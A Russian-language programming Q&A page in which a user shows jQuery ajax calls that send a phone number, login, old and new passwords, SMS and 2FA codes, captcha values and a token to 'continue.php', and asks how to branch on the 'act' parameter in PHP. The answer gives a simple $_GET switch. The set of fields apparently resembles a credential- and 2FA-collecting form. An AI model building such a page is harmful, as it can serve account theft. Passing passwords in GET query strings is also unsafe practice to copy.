Как обрабатывать переменную GET в ajax запросе в PHP - PullRequest
0 голосов
/ 20 января 2020

У меня проблема. Сначала у меня в коде такой запрос

$.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {

И во второй части кода у меня есть еще один запрос:

var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
				var response = JSON.parse(auth.responseText);
Мой вопрос следующий: как и в обеих ссылках, у меня есть переменные типа «act». И значения в первом случае «savePhone» и «login» во втором случае. Мой вопрос, как ..... вышеупомянутый код был частью Javascript на полной html странице. Но вопрос в том, как написать дескриптор этого запроса в php. Поскольку эти две ссылки были частью PHP обработчик "continue. php". Например ... какие PHP методы я мог бы использовать в файле "continue. php", чтобы присвоить два значения "savePhone" и "login" для одной переменной "act" в PHP ручка. Надеюсь, что все было понятно)

1 Ответ

1 голос
/ 21 января 2020
<?php
   $act = $_GET['act'];
   if ($act === 'savePhone') {
      //Do savePhone logic here
   } else if ($act === 'login') {
      //Do login logic here
   }
?>
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...